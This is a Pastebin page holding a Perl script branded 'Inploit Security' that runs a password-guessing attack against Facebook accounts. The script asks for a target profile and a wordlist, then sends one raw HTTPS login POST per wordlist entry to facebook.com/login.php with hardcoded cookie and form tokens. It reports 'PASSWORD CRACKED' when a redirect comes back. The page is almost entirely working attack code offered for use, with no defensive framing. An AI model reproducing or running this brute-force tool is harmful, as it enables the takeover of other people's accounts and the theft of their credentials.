Advertisement
Guest User

Untitled

a guest
Apr 17th, 2016
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.52 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use strict;
  4. use warnings;
  5. use Term::ANSIColor;
  6. use Net::SSLeay::Handle;
  7.  
  8. my $host = "www.facebook.com";
  9. my $port = "443";
  10.  
  11. print color("bold green"), "\n", q "
  12.  _____  _          
  13. |  __ \(_)          
  14. | |  | |_ ___ _ __  
  15. | |  | | / __| '_ \
  16. | |__| | \__ \ |_) |  
  17. |_____/|_|___/ .__/   Inploit Security    
  18.              | |      https://inploit.com
  19.              |_|", "\n";
  20.  
  21. print "\ntarget> ";
  22. chomp ( my $user = <STDIN> );
  23.  
  24. $user =~ s/www.//;
  25. $user =~ s/facebook.com\///;
  26. $user =~ s/fb.com\///;
  27. $user =~ s/http:\/\///;
  28. $user =~ s/https:\/\///;
  29. $user =~ s/profile.php//;
  30. $user =~ s/\?id\=//;
  31.  
  32. print "\nwordlist> ";
  33. chomp ( my $wordlist = <STDIN> );
  34.  
  35. print "\nEmail: $user\@facebook.com";
  36. print "\nCracking password...\n\n";
  37.  
  38. open ( my $list, $wordlist) or die "\nERROR: it was not possible to open the file.\n\n";
  39.  
  40. while (<$list>) {
  41.     chomp ($_);
  42.     $_ =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  43.  
  44.     my $a = "POST /login.php HTTP/1.1";
  45.     my $b = "Host: www.facebook.com";
  46.     my $c = "Connection: close";
  47.     my $e = "Cache-Control: max-age=0";
  48.     my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  49.     my $g = "Origin: https://www.facebook.com";
  50.     my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  51.     my $i = "Content-Type: application/x-www-form-urlencoded";
  52.     my $j = "Accept-Encoding: gzip,deflate,sdch";
  53.     my $k = "Accept-Language: en-US,en;q=0.8";
  54.     my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  55.  
  56.     my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  57.     my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$_&default_persistent=0&login=Log+In";
  58.     my $cl = length($post);
  59.     my $d = "Content-Length: $cl";
  60.  
  61.     tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  62.  
  63.  
  64.     print SSL "$a\n";
  65.     print SSL "$b\n";
  66.     print SSL "$c\n";
  67.     print SSL "$d\n";
  68.     print SSL "$e\n";
  69.     print SSL "$f\n";
  70.     print SSL "$g\n";
  71.     print SSL "$h\n";
  72.     print SSL "$i\n";
  73.     print SSL "$j\n";
  74.     print SSL "$k\n";
  75.     print SSL "$l\n";
  76.     print SSL "$cookie\n\n";
  77.  
  78.     print SSL "$post\n";
  79.  
  80.     my $success;
  81.     while ( my $result = <SSL>) {
  82.         if ($result =~ /Location(.*?)/) {
  83.             $success = $1;
  84.         }
  85.     }
  86.  
  87.     print "Testing -> $_\n";
  88.  
  89.     if (defined $success) {
  90.         print "\nPASSWORD CRACKED -> $_\n";
  91.         print "\nBye =P\n\n";
  92.         close SSL;
  93.         exit;
  94.     }
  95. }
  96.  
  97. close SSL;
  98. print "\n";
  99. exit;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement